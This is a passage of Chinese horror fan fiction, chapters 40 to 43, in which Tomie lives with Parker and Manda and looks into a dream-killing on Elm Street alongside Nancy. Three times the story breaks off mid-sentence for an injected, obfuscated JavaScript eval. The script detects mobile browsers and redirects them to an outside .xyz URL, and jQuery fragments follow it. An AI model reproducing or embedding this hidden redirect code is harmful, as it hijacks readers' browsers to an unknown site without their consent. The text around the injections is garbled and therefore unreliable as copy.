自打从斯洛伐克回来之后,无尽的噩梦便缠上了他。整整一个月过去,即使身体上的伤口愈合,心灵的伤痕也依然会在梦醒之后再度被撕扯得鲜血淋漓。 “亲爱的……那件事不怪你。” 女友指的是乔什的事情。 帕克是和乔什一同出国的,但回国时他回来乔什却没有回来。 这自然引起了一阵骚乱,但如今,乔什的名字也仅仅只是被登记在了失踪者名单上而已。 因为乔什是在旅游途中失踪的,女友自然而然便将帕克被噩梦缠身的情况与乔什失踪联想到了一起,认为是作为朋友的帕克心怀愧疚。 但只有帕克知道,自己的噩梦,并不仅仅因为此。 吃完药,青年深呼一口气,推开卧室的门,一步步走向飘着面包香气的厨房。 当青年的第一只脚迈入厨房,在洒入阳光的窗边,他看到了一个纤细而美丽的,女孩的身影。 与性感又靓丽的曼达不同,面前的亚裔女孩有着一头乌黑的长发,娇小的身材让她看上去像是未成年一般。 她的皮肤很白,与社区里常见的亚裔不同,在阳光下白得几乎透明了。再配合一张不用涂口红也依然粉嫩的小嘴,就连曼达都会调笑,说家里住了一位美丽的白雪公主。 女孩听到动静,从炉灶边抬起头,向来人露出了甜美的笑。 “早上好啊,帕克,还有曼达,早饭我已经准备好了。” 她的脸还带着一丝圆润的稚气,但眼角下的泪痣却又破坏了那份年幼感,让笑起来的她显得艳丽的许多。 “哦天哪富江,这真是一顿丰盛的早餐。” 曼达看到女孩,发出了一声赞叹,快步走向黑发姑娘。 “我今天一定要学会你那道蓝莓派,知道吗,隔壁的朱尔太太对那道点心可是赞不绝口啊。” “真的吗?那可真是太好了。” 金色的阳光下,配合着点心香甜的气息,明明该是一副美好的,让人精神振奋的景象。 但帕克心中,那份漆黑的恐惧却在不断蔓延。 是的,不管是醒着还是睡着,他都依然沉浸在噩梦中。 这个,由“富江”所打造的,诡异而没有尽头的噩梦中。 ------------------------------------- “你看上去不是很开心啊帕克先生,是又做噩梦了吗?” 早餐过后,曼达便出门工作了。 至于帕克,欧洲之行后,因为好友失踪外加精神状态越来越差,他已经向公司申请了长久的假期。 不过真实的原因也不止这一个。 “曼达她昨天还跟我说,很担心你的精神状态。” 即使金发女郎离开,富江也依然在灶台前忙碌着。只不过这次,女孩则是在为房间里的另一人准备安神的香草茶。 “她还考虑要不要再策划一场出游,这次是她陪你一起去,就在夏威夷转转。” 香草茶煮好了,女孩端着热气腾腾的茶杯,将它放在了青年面前。 “……你到底想要什么?” 富江抬眼,与帕克对上了视线。 还算帅气的青年此刻面色苍白,神情严肃,满是血丝的眼睛则死死地盯着她。 自列车上与挚友诀别,那股强烈的绝望、愤怒、恐惧便自始至终牢牢缠绕在这名青年的周身。 这让他在富江的眼中也变得诱人了起来。 不过,即使再诱人,帕克也不是她的目标。 “不是说过吗,我只是想这片大陆来逛逛。” 说着,富江随手拿过曼达给她挑选的茶杯,也为自己倒了一杯热茶。 “顺便完成乔什先生的愿望。” “你——!” 听到朋友的名字从富江嘴里念出来,帕克瞬间站起身,喘着粗气,瞪着富江。 “……不要念他的名字!” 女孩歪了歪头:“你到现在还不相信我?” “我凭什么相信你!” 这话让富江笑了起来,她抿了抿嘴,羽睫忽闪了一下,两颗漆黑的眼珠落到了帕克脸上:“就凭……你到现在还活着?” 话音刚落,她便看到男人的五官有些不受控制地抽搐起来。 “别害怕亲爱的,我和乔什先生约定好了,要在那群人手下保证你的人身安全。我讨厌违约,也不怎么喜欢骗人。” 听到这话,帕克的嘴角歪曲了一下:“你说这话可没有什么信誉。” “哦……”富江懊恼地皱皱眉,“没办法啊,毕竟要用一个比较正当的理由住在你家。而且,曼达和我相处的很好,不是吗?她还跟我说自己有个还在上学的弟弟,但没有妹妹。” 是的,妹妹,或者说,表妹。 这就是富江在帕克家的身份。 混入人群真的很简单,她只要专注地盯着这些人,将力量注入声音,他们的想法便会被潜移默化地影响。 尤其是这边的人感觉更加没有防备,富江随便说几句话,效果都要比在东京时好得多。 如今,整个街区的人都知道,帕克有个美丽的混血表妹正在家里做客。 “你见过她弟弟吗?” “你要保护我到什么时候?” 帕克没有回答富江的问题,但他不友善的态度并未让女孩感到不愉快。 “嗯,让我想想……” 富江用指间敲打着杯壁,认真地思考着青年提出的问题。 “几个月?半年?又或是——” 脑海中浮现出了特斯卡特利波卡的面容,不断敲击 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14784503|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 杯子的指间停了下来。 “我终于找到要找到人了?” 面对帕克,富江并未隐瞒太多事。 无论是乔什许下的愿望,还是她到达美洲的目的,女孩都诚恳地告知了面前的青年。 但怀疑的种子一旦种下就很难被彻底拔除,更何况帕克最先接触到的,是富江怪异的那一面。 “我真的很喜欢乔什先生。” 热气渐渐散去,茶杯的水面上倒映出了女孩的半张脸。 “在那栋建筑里找到他的时候,他一点没意识到自己已经死了,反而担心我能不能逃出去。” 这是时隔一个月以后,她第一次在帕克面前很正式地提起当时的会面。 “他是个善良的人。” “……你到底想说什么?” 富江站起身,沿着桌子,一步一步地靠近坐在自己对面的帕克。 “还有你,即使受了伤,即使害怕,也想返回去救人一样。” 越是靠近青年,她就越能感受到,源自对方身上的,源源不断的负面能量。 “善良的人,理应得到更多的回报。” 纤细的手指轻轻搭在了帕克的肩膀上,瞬间,她感觉到对方整个人都绷得紧紧的。 富江满意地笑了起来:“所以我问了他,除了复仇,还有什么别的愿望。” 冷汗一点点顺着帕克的额头流下,从刚才开始,他的衣服就已被汗水浸透。 能感觉到,搭在自己肩膀上的手很小,很软,甚至带着人类特有的温度。 但就是这样,才愈发让人感到恐惧。哪怕隔着衣服,被触碰到的瞬间,从身体内侧翻涌而出的不适感也瞬间淹没了男人。 他几乎是用尽了所有的理性,才控制住自己没把那只手从身上甩开。 最初见到“富江”的时候,帕克也曾为对方跨越国别与种族的美貌而感到惊艳。当时他们三个甚至兴致勃勃,想去向这三个来自异国的女孩搭个话,最好再留个联系方式什么的。 如今,曾经旖旎的想法已经丁点不剩。 哪怕那张绝美的脸如今近在咫尺,看到女孩的瞬间,浮现在他脑海中的,也依然是那片生者地狱中惨烈的景象。 他看到了眼睛。 自那美丽的躯体内侧,从黑红色的泥中诞生的,无数生物的眼睛。 它们都在看着他。 手心之下的躯体在微微颤抖着,仿佛就要濒临极限。意识到这点的瞬间,富江微微抬起手,停止了与对方的接触。 不过下一秒,她就站到了青年的身旁,侧过脸,看着他笑了。 “我会保护你的,因为这是他的愿望。” 帕克的眉头拧了起来。 她从他的眼睛里看到了抗拒与厌恶。 但还没等青年的嘴张开,只听见大门砰得一声被撞开,紧接着,曼达惊慌失措的呼唤声便从玄关传了过来。 “天呐帕克!帕克——!” 顾不上继续和富江对峙,担心女友的青年转身冲向了玄关。 “曼达?!发生什么事了?” “是罗德,帕克,哦天呐,我不知道该怎么办才好!罗德他,他杀了人!” 曼达的声音带着明显的哭腔,而富江则在女人的哭声中捕捉到了一个最关键的信息。 “罗德。” 她听过这个名字,这是曼达弟弟的名字。 如今,这个几日前在金发女郎口中还只是个有些调皮捣蛋,正在老家上学的无忧无虑的高中生,就这样唐突地变成了一名杀人犯。 41. 第 41 章 “嘿曼达,亲爱的,冷静点,冷静点好吗?” 这下,精神状态稳定的人倒是换成了最近一直在被噩梦折磨的帕克。 可能是因为已经经历过更匪夷所思和恐怖的经历了,他迅速将女友带到客厅,开始安抚对方的情绪。 “到底发生了什么?” 金发女郎深呼吸了几下:“刚才爸爸给我打电话,说罗德涉嫌杀人逃逸,已经被抓进警察局了。” “什么?”帕克皱着眉,“好吧我承认罗德看上去确实不怎么正经,但他杀人……杀了谁?” 女人疲惫地用手捂住脸:“好像是他的女朋友,我父亲没详细说。他说警察联系我们是因为我们在血缘关系上是罗德的直系亲属。” 曼达的亲生父母早年离婚的时候各自抚养了一个孩子。曼达是和父亲一起长大的,而她的弟弟罗德,和母亲一直生活在一起。 后来曼达的母亲去世,她和父亲也有了自己的新生活,罗德便一直和养父生活在一起。听曼达本人的描述,大概就是个自由散漫,无忧无虑,学习成绩也不怎么样的体育系小青年吧。 但现在,她口中这位“无忧无虑”的弟弟却已经成了杀人犯锒铛入狱了。 “我,我还是想去看看。” 曼达抬起头,虽然情绪尚且没有平复,但她还是做出了决定。 “看情况爸爸他并不想管这件事,我妈又去世了……罗德毕竟是我弟弟。” “我明白,我明白的,不要给自己压力……我会陪你一起去。” 听到帕克的安危,女人的情绪明显稳定了很多。她抬起头,才后知后觉地发现富江也在这里。 “哦,富江。抱歉,让你听到了这些不怎么样的事情。” “不亲爱的,不要这么说。” 富江也来到曼达的面前。她蹲下身,将手放在金发女郎的膝盖上,微微仰起头。 “我和帕克都会帮你的,好吗?” “哦天呐,好的……谢谢,真的非常谢谢你。” 曼达的目光彻底被面前的女孩所吸引,她红着眼眶,反握住了那只白皙柔软的手,似乎又快要哭了。 但也正是因为情绪激动,她并没有注意到身旁男友陡然阴沉下来的脸色。 曼达的弟弟罗德目前所生活的榆树街位于俄亥俄州的斯普林伍德小镇。单从外部来看,是一个风和日丽气候宜人,非常平静安逸的地方。 只不过现在,这座满是鸟语花香的和平小镇的警局里却弥漫着一股沉重的气氛。 “你就是曼达·希尔?” “是的。” 负责接待三人的刑警穿着一身黄绿色的制服,查看着手中的资料:“罗德·莱恩的姐姐?” “是的警官,希尔是我们父亲的姓氏。” “哦我知道,我还以为来的人会是你们的爸爸。”中年男警官耸耸肩,又伸手比划了一下。“至于这两位……?” 他指的是一直站在曼达身边的帕克和富江,很显然,资料上并未记载他们。 “他们是陪我一起来的,是……是我的亲属。” 可能是富江那张外国人脸实在是太扎眼了吧,这名警官听了之后眉头反而皱得更紧,目光也不断在女孩脸上来回扫着。 “我是曼达的男朋友。”注意到了对方带着怀疑的目光,帕克终究还是开口了。“她是我妹妹,表妹。曼达的父亲身体不好一直在住院,所以我们才陪她一起来。” 言语间,青年调整了自己的站位,不动声色地用自己的身体阻挡了警察看向富江的目光。 “原来是这样,那你们感情不错。” 中年男警官挑了挑眉,也没继续追问,而是低下头,用笔在资料上随手写了点什么。 曼达实在忍不住,站起身问道:“警官,罗德现在到底怎么样了?” “情况不是很好女士,他一直不承认是自己杀的人。”警察将资料放在桌上。“但案发时现场除了受害人就只有他,目击者赶到现场的时候他也逃逸了,我们认为基本不可能有外人对那名女孩行凶。但……” 他停顿了一下:“所以这几年你也没跟罗德他们一家来往是吗?” “我母亲去世之后就基本不怎么来往了。等等,警官,这和罗德还有这件案子有什么关系?” 警察沉默了下来。 他没有立刻回答曼达的问题,而是将目光投向了站在一旁的帕克与富江。 曼达满心都是自己弟弟,倒是帕克注意到了对方的神色,轻咳了一声。 “嘿,富江。” “怎么了?” 黑发女孩的神色很单纯,但帕克伸手的那一刻心里还是抖了一下。 “我们出去买点吃的吧,让曼达和警官聊。” 四目相对的瞬间,时间似乎静止了下来。 看着那双漆黑得有些不正常的眼睛,帕克觉得自己心跳都快了几分。 因为他看得出来,或者说,从第一次见到富江的时候他就发现了。 即使脸上挂着令人舒心的微笑,这个女孩的眼睛也没有“笑”。 她的眼睛里很少出现笑意,似乎一直,一直观察,审视着周围的一切。 “……好啊。” 察觉到帕克身上恐惧的气味加重了,富江脸上的笑意更浓了几分。 她柔顺地接受了帕克的提议,临行前,给了曼达一个拥抱。 只是没人注意到,在两个女孩交汇的瞬间,地面上的影子似乎变深了一些。 “为什么要出来?” 走出警察局后,面对富江的问题,帕克抬头看了眼警局的招牌:“你没注意吗?刚才那警察只想跟曼达讲话,我们算外人。” 说完,青年的目光落在富江脸上,凝固了一下,随即叹了口气:“好吧,就算你注意到也不会懂。” 富江是不太懂这些。这个问题从以前开始就存在了,不管是月子还是小泉凌都说过,说她不懂人情世故。 怎么说呢……虽然她也很想学习一下,不过到目前为止,进步还很小。 而且比起什么反应都不做的自己,她反而会对做出选择的人更感兴趣。 “你不好奇那个警察会说什么吗?” 她很好奇,为什么面对类似的问题,每个人做出的选择都会不同。在无数次与人类的交往中,富江发现这种选择的逻辑,是她无法学习和模仿的。 “曼达之后想说的话会告诉我的。还有——” 话未说出口,看向富江的脸,帕克的猛地皱起眉头。这个年轻的男人随即将 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14799104|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 目光挪到远处茂密的灌木丛上。 “……该死的,好吧,其实我对凶手到底是谁根本不感兴趣,你懂吗?” 不管罗德·莱恩杀没杀人,他都是曼达的亲弟弟,不是他的。 凶手是这个少年,他只会替曼达感到惋惜。但若凶手不是他,他也会依照曼达的意思行动。 “罗德”对帕克来说,只是个外人。 “嗯……原来是这样。” 与此同时,富江也已经通过潜入曼达影子的分身,听到了警局内的对话。 “好吧,女士,其实我们认为罗德的精神出现了异常。” “什么?” “他一直声称是一个无形的力量杀死了自己的女朋友。案发的时候他们俩正躺在床上睡觉,但蒂娜,就是他的女朋友却突然开始惨叫,身上也出现了很多伤口。” 在警察的叙述中,罗德声称,自己眼睁睁看着蒂娜被无形的力量拖到天花板上,浑身被划得血肉模糊。但少年却无力阻止这名凶手,他甚至看不到,也摸不到对方。 “我听到了一些很有意思的东西,帕克想要知道吗?” 帕克正思考自己要带着富江去哪里打发时间呢,冷不丁听到这么一句话,下意识回答道:“什么?” “罗德的事,警察说他看到自己的女友被无形的力量杀害了。” “等等,你是怎么听——” “曼达现在去探望自己的弟弟了,那男孩现在就在警局的牢房里。” 富江诚实地向帕克叙述着自己在影子中感知到的情况,而青年则变得有些慌乱。 他先是看向四周,确认周围的行人没有听到二人的谈话后,抓住富江的手,将她拉回了他们乘坐的车里。 “嘿,听着,你没必要这么做。” “为什么?” 这是帕克今天第二次被问住了。 “曼达对我很好。”富江歪了歪头,漆黑的眼睛看着帕克。 在这名知晓了她真面目的青年面前,富江的伪装总是更轻一些的。 或者说,正因为对方已经知晓了她的部分“真实”,她才习惯性的会在这些人面前展露自己的“真实”。 “因为她对我很好,所以我也想尽可能的帮助她。这有什么不对吗?” “没什么不对,但罗德他——” “那个男孩没有杀人。” 帕克哽住了。 “……什么?” “我看到他了,帕克。” 浓重的黑红色从女孩的瞳孔中逐渐扩散,她“看”到了那名被关押在警局后方牢房中的年轻人。 与曼达不同,罗德有一头黑色的卷发。 但纵使外貌有较大的差距,这对有血缘关系的姐弟站在一起时,身上的“味道”也是相似的。 虽然只是藏在曼达的影子里,富江还是从男孩周身品尝到了浓烈的负面情绪。 委屈,愤怒,伤心,恐惧,孤独。 却唯独没有作为凶手的感情。 “相信我,相信我曼达。” 冰冷的铁栅栏内,少年伸手,徒劳又绝望地握住自己姐姐的手。 “蒂娜真的不是我杀的,那家伙……那家伙在蒂娜的梦里! “他在她的梦里杀了她!” 42. 第 42 章 恶灵通过能力杀死活人富江也见了不少了,但在梦境中杀人的同时还能影响现实她还是第一次见到。 很有趣的力量。 “所以真的有个人在梦里杀死了罗德的女友?” “我没有闻到撒谎的味道。” 罗德没有撒谎,也就是说,这场残忍的谋杀确确实实与超自然现象挂上了钩。 这让帕克变得沉默,靠在驾驶座上不知道在想什么。 至于富江,警局里的对话尚未结束,新的情报源源不断地涌入她的耳朵。 “那男孩说蒂娜之前已经做了几天噩梦了。那天他和另外两个朋友去蒂娜家,也是为了陪她。” 结果没想到,女孩的噩梦并非单纯的噩梦。最凶恶也是最可怕的杀意,正是源自这令她恐惧的梦境。 年轻的孩子们猝不及防,无法抵抗,只能徒劳地看着好友惨死。 “嘿,富江。” 帕克迟疑的声音盖过了姐弟二人的对话。 “如果,我是说如果罗德真的是被什么恶灵或是魔鬼污蔑的,我们该怎么办?他,会不会有危险?” 富江看了男人一眼,诚实地回答:“我不知道。” 帕克眉毛都挑起来了:“你不知道?!” 看得出来,他对连富江居然也有不知道的事情而感到震惊。 “我确实可以‘看’到围绕在身边的那些,你们认为不好的东西。或者已经死去的人。但是……” 女孩扭过头,看向窗外,少见地皱起眉。 “在这里我看不见,也感觉不到。” 不管是警局外面还是里面,只有少量的负面能量,对于人类活动来说是正常范畴。从刚才到现在,富江都没有察觉到有什么其他东西存在。 非要说哪里不对劲的话,大约就是罗德了。 他身上围绕着一丝淡淡的,不属于自己的黑色气息。 那并非人类的负面情绪,而是一种怨念。 跟佐伯家以及斯洛伐克的小镇上弥漫的怨念类似,只是更稀薄,也更不引人注意。 “杀死女孩的那个东西,很聪明。” 女孩看向车窗外的蓝天,之前也说过,这座小镇风和日丽,气候宜人。今天也是个明媚的晴天,蓝天白云,阳光洒在警局的房顶上,衬得这里都看上去和平了许多。 “不过,我认为他大概不会就此罢手。” 不管是为了宣泄怨念,还是维持自身的存在,亦或是变强,恶灵们都不会停止自己的杀戮行为。 那名惨死的女孩,绝对不可能是这名凶手的最后一个猎物。 那么该如何调查,或者说,如何帮助曼达的弟弟呢? 离开警局后,三人驾驶车辆前往了案发现场,也就是罗德女朋友的家。 曼达虽然也觉得整个事件很离奇,但在听了弟弟的诉苦,看了案件的记录之后,她还是决定帮助对方。 而她有些天真的想法,自然也得到了帕克和富江的支持。 车子停到路边,帕克和曼达下了车。富江因为算半个外人,并未跟这对情侣一同四处拜访,而是乖乖等在了车边。 一来到凶案现场的门口,她便闻到了一股巨大的,悲伤的气息。 与月子昏迷在医院时,她父母身上的那股气息是同样的。 只是—— 富江微微皱起眉。 她还是没有感知到更加浓烈的负面能量。 女孩靠在车边,脚下的影子无声无息地蔓延到这栋被围起来的宅邸内。 她看到了更多东西。拥有单亲母亲的女孩,热恋的男友,值得信赖的友人。甚至有不断折磨她的,愈发可怕的噩梦,无法求助母亲的悲伤,与最后临死时的恐惧。 蒂娜与罗德残留在屋内的喜怒哀乐皆被富江感知,品尝。 与传播在校园里的诅咒录像带,佐伯家的房子不同,这里的怨念像是烟,若有似无地缠绕在发生了惨案的卧室,形成了一个循环。 所以即使她的力量已经包裹了整栋房子,却依然没有寻到怨念的源头。 这可是女孩第一次在这种事情上受挫! “……唔……” 她撅起嘴,再度扩大了自己的搜索和感知范围,甚至有些憋气地开始来回踱步。 虽说被特斯卡特利波卡压制也很不爽,但面对那名男子的挫败感,却与现在不同。 非要说的话,她现在是有些……憋屈?还是不耐烦? 虽说是一种全新的情感体验,但富江现在专注追查凶手的线索,并没有心思去继续探究其中的奥妙。 “怎么什么都找不到呢?” 女孩歪着头,藏在阴影中的“泥”甚至已经延伸到了其他邻居的宅院里。 她听到了曼达与帕克跟那些邻居的交谈声,感受到了大家对于凶案的恐惧以及女孩的怜悯。 但依然一无所获,那缕薄如烟雾的诅咒甚至没有在其他人家蔓延。 但好像有什么不对?是哪里呢? “啊……对了,灵魂呢?” 到现在为止,富江都没有找到受害人蒂娜的灵魂。 死者的灵魂通常会在自己死亡的地方徘徊,又或者跟在什么在意的人身边。 但他们今天已经开车经过了大半个小镇了,那名被杀害的,死者的灵魂却依然不见踪影。 也因此,富江在进入小镇的时候,压根没有察觉到这片案发现场。 对她来说,怀抱着恐惧与憎恨的灵魂就像是美味的饭后点心,闻不到它们飘散的味道才奇怪。 这引发了女孩的好奇心。 莫非—— “嘿,那个,你好?” 正在这时,一道女声从富江身后传来。她转过身,看到了一个茶色天然卷长发的女孩,正从小路对面向自己走来。 “抱歉我没在这附近见过你,请问你要找谁?或者有什么需要帮助的吗?” 富江看着对方蓬松的长发,以及蓝色的眼睛,勾起嘴角,露出了一个笑容。 虽然对方不认识自己,但她却认识这个有着美丽蓝色眼睛的女孩。 “我在找蒂娜。” 树荫下,富江的双眸变得漆黑。她歪过头,专注地盯着已经走到自己面前的南茜。 “蒂娜·格雷,就是住在这栋房子里的人。你有见过她吗?” 话音刚落,对方的表情就凝固住了。 “哦……呃,对不起,但是蒂娜她……” 迟疑间,女孩身上悲伤的气味更加浓郁了几分。 “蒂娜她,她去世了。” “你是她的朋友?” “……是的。我叫南茜,南茜·汤普森。” 富江知道她。她是蒂娜最好的朋友,那天夜里的目击者。 这个名叫南茜的女孩身上有着浓烈的情感。悲伤,愧疚,后悔,以及最重要的,恐惧。 而且,隔着一条马路,她就发现了。 虽然很微弱,但南茜身上也缠绕着那缕若有似无,像是烟雾一般的怨念。 她确信,对方就是自己要找的“线索”。 “所以,我没见过你,你是蒂娜的——” “富江!” 南茜的提问被一道声音打断。几秒钟后,帕克从蒂娜邻居家冲了出来,几步站到了两个女孩面前。 “你在干什么?” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14809165|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >“嘿,等等,她什么都没做。是我看到她站在这所以向她搭话的。” 听完南茜的解释,帕克皱着眉又看向黑色长发的亚裔女孩。对方没有说话,而是向他露出了一个乖巧的笑。 她身材娇小,脸蛋圆润,皮肤在阳光下白里透红。配合毫无攻击性的五官,笑起来就像是一只无害的小兔子。 就连同样身为女孩的南茜,也被富江突然露出的笑容晃了一下神。 但帕克不同,他看着富江的笑,一股不祥的预感由内而外喷涌而出,挡都挡不住。 “我在等你和曼达,然后这位小姐向我打招呼。她说她是蒂娜的朋友。” “是的,听说你们想找蒂娜。我很抱歉,她已经——” “我知道。”帕克打断了南茜,“蒂娜·格雷已经死了。我们……” 他向后看了眼,刚好瞧见曼达慢慢走出隔壁住户的大门。 “这件事解释起来有些复杂,总之,我们能聊聊吗?” 带着新认识的南茜,四人一同坐进了小镇中的一家快餐厅。 “所以,你是罗德的姐姐?” 在了解到了全部的来龙去脉之后,南茜很快接受了现实。 “你,不相信罗德杀了人?” “是的。”曼达长长地叹了口气。“虽然我已经很久没有和罗德来往过了,但……他不是这样的人。” 警局那边找不到什么突破口,罗德和养父的关系也不好,所以曼达才会带着帕克和富江开始在小镇四处走访。 她想要了解罗德平日里都在干什么。 如今,身为罗德好友的南茜出现,对曼达来说也是个好消息。 “我,我也认为他不是这样的人。” 不知道为什么,话题一涉及罗德和蒂娜之死,南茜就显得有些激动。 “他们两个很相爱,而且那天晚上……” 女孩张了张嘴,想说什么,眼眶却先红了。 就在这时,她有些冰凉的手忽然被一个温热的东西搭住。 南茜回过神,扭头便看到了坐在她身旁的富江,露出了关切的神情。 女孩白皙的手正搭在她蜷起的拳头上。 莫名的,那种恐惧和惶惶然的感觉减轻了不少。 南茜陷入了回忆。 根据罗德的说法,那天晚上,有一股无形的力量在他面前,残忍的将蒂娜折磨致死。 他想要帮忙,却无能为力,只能眼睁睁地看着蒂娜身上的伤口越来越多,甚至在他面前凭空而起,被满屋子拖行。最后,失血过多而死。 “蒂娜……浑身都被刀划伤了,她似乎还被,被拖到了天花板上。” 南茜咬住下唇。 “罗德不可能做到这种事。而且,他逃跑了以后还来找过我,就是因为找我才被警察抓住的。” 如果真的是男孩犯案,他大可在逃逸后继续躲避警察的追捕。根本不需要冒着被抓的风险,去向好友澄清自己是被冤枉的。但他所说之事着实离奇,已经到达了超自然事件的地步。所以警察宁愿相信他是精神出现了问题。 但南茜不同,她选择坚定地相信好友。 “所以……就算我弟弟说的是真的,我们又要怎么替他证明清白?” 金发女郎说完,与南茜一同陷入沉默。 餐桌前的气氛一度几乎凝滞了。 帕克看着忧愁的女友,又看看心事重重的南茜,最后将目光放在了自己“妹妹”身上。 富江单手托着下巴,目光落在了窗外。 与其他人相比,她的神色显然轻松多了。 鬼使神差地,帕克开口道:“富江,你是怎么想的?” 43. 第 43 章 “什么?” 其实说完那话帕克就有点后悔了,但他已经引起了富江的注意。 想到女孩与人类的不同之处,青年咬了咬牙,硬着头皮继续道:“你对这件事,我是说罗德,有什么看法?” 他本以为富江可能会对所谓的“超自然事件”发表一下言论,谁知女孩歪了歪头,问了一个非常现实的问题:“我从刚才开始就想问了,如果凶手真的是罗德,那凶器在哪?” 此话一出,餐桌上的其他三人全都愣住了。 “还有,蒂娜死的时候被折磨过,甚至凭空飞起来,被拖到了天花板上。现场如果真的是这样,罗德又是如何在不借助外力的情况下把一个女孩拖到天花板上的?” “……你,你说得好像也没错。” “对吧。”说着,富江摊开手。“没有凶器,也没办法还原现场情况……这里的警察怎么能在没证据的情况下就认定他是凶手呢?” 此话一出,曼达顿时站起身,惊喜道:“对!你说的对啊富江!现在不仅没有证据,连凶器都没找到,他们凭什么就认定罗德是凶手!” “你们稍等,我要去联系律师事务所。” 曼达向来是个雷厉风行的性子,说完便离开座位去找电话了。 留下的帕克与南茜则面面相觑,最后都看向富江。 女孩礼貌地朝今天新认识的姑娘笑了笑,随即扭过头:“怎么了帕克?你看上去像是有什么话想跟我说。” 因为曼达不在,南茜又与富江不熟。难得的,帕克卸下了一直以来挂在面上的伪装。 男人往椅子上一靠,脸色变得有些阴沉:“我以为你会先说超自然事件。” “这件事也很重要。但想洗清罗德的嫌疑有很多种办法,论证超自然现象存在显然是最难的一种。” “嘿等等,你说‘论证’?” 南茜看了看帕克,又扭头看着富江。她显然有些激动,手都搭到了女孩的胳膊上。 “你,你是说……你相信罗德的话吗?” 她的声音微微发抖,蓝眼睛亮晶晶的。在富江看来,就像是两颗带着上好光泽的珠子。 她喜欢南茜的眼神。 “是啊,我相信。因为我以前也遇到过与超自然有关的事情。” 与其说遇到,不如说,她自诞生,其本质存在,甚至川上富江,都与所谓的“超自然”息息相关。 “但这种事,只有遇到了才会相信……对不对,哥哥?” 她的话一出口,帕克的脸色瞬间变得难看极了。 是啊,这种事,真的只有遇到了才会相信。 在斯洛伐克的经历已经牢牢刻进了男人的脑子,但比起自身被卖到俱乐部差点被杀,死者复活重返人间替自己报仇才更听起来让人匪夷所思。 帕克甚至都不敢想,那群人贩子的同伙发现一个俱乐部里的人都消失了以后会做什么。 以及,这群人追来美国以后,“富江”又会做什么? 不过现在,当务之急,还是要看紧面前的这个不定时炸弹。 “嘿听着女孩。”男人用手翻了一下自己的头发,严肃地看着南茜。“曼达是我的女朋友,我肯定是想尽可能帮助她和她弟弟的。另外,也不希望她卷进更危险的事情里,你明白吗?” 见南茜点了点头,帕克将双手放在桌子上:“很好。” 他的脑子向来转的快,直觉也比一般人来得准。如今,已经在信息量庞大的事件中发现了可以深挖的点。 “我很好奇,为什么你会选择相信罗德?” 如果只是单纯的目击到现场的惨状,认为罗德不可能做到那个程度也就罢了。但南茜很显然,也对自己好友说的话信了几分。 “因为……因为蒂娜前一天跟我们说过,她做了噩梦。” 谈起好友,南茜的神色变得悲伤。 “她告诉我那个噩梦很真实,在梦里有个,有个怪人攻击她,划破了她的衣服。” 结果等蒂娜尖叫着在梦中惊醒,她发现自己的睡裙真的被撕裂了一道口子。 但面对女儿的惊慌失措,母亲却不以为意,甚至在第二天与新的恋人一同前往拉斯维加斯度周末了。 周末几天都要一个人在家,蒂娜害怕,这才把自己遇到的事情在上学途中告诉了朋友们。 “她很害怕那个噩梦,说是和小镇上的童谣对上了。” “童谣?” 南茜皱着眉:“是一首小孩子跳绳的时候会唱的童谣。我记得是……” 女孩低下头,应该是对那首童谣不是很熟悉,想了半天才喃喃地唱道:“1、2,弗莱迪会来找你。3、4,锁好你的门。” 就在她念出童谣的瞬间,身上那股薄如烟雾的怨念忽然开始变得不稳定起来。 富江微微坐直了身体,专注地盯着那微弱但久久不散的怨气。 比起之前虚无缥缈的烟雾,它变得实在多了,围绕在茶色头发的女孩身边,像是缠绕着的丝线。 但这团丝线只是牢牢缠绕在南茜身上,富江并没有找到所谓的源头。 “后面是什么我也记不太清了,对不起,我们家不信这些。总之,蒂娜很害怕自己会像童谣里说的那样,被抓走。” “被弗莱迪?” 南茜咬住下唇:“我……我不知道……还有——” “你也有做噩梦吗?” 富江突然开口,说得南茜愣了一下。 “……什么?” 她下意识看向身旁的黑发女孩,瞬间对上了那双深色的眼睛。 南茜愣住了。 不知道是因为室内光线问题,还是因为错觉,她只觉得自己面前的这双眼睛黑得出奇,同时还有股奇妙的吸引力,让她不自觉地一直盯着。 恍惚间,南茜似乎在乌黑的眼仁里看到了某种浓重的,正在翻滚的什么东西。她甚至闻到了一股淡淡的,奇妙的甜香,连意识都变得有些模糊起来。 “富江!!” 一道男声宛如炸雷般在女孩的耳边响起,等她回过神,便看到坐在斜对面的青年已经站起身,一只手抓着黑发女孩的胳膊,将她整个人拽得站起了身。 “你在干什么?!” 富江先是看了看有些生气的帕克,又低头,看向还懵懵懂懂的南茜,露出了一个微笑。 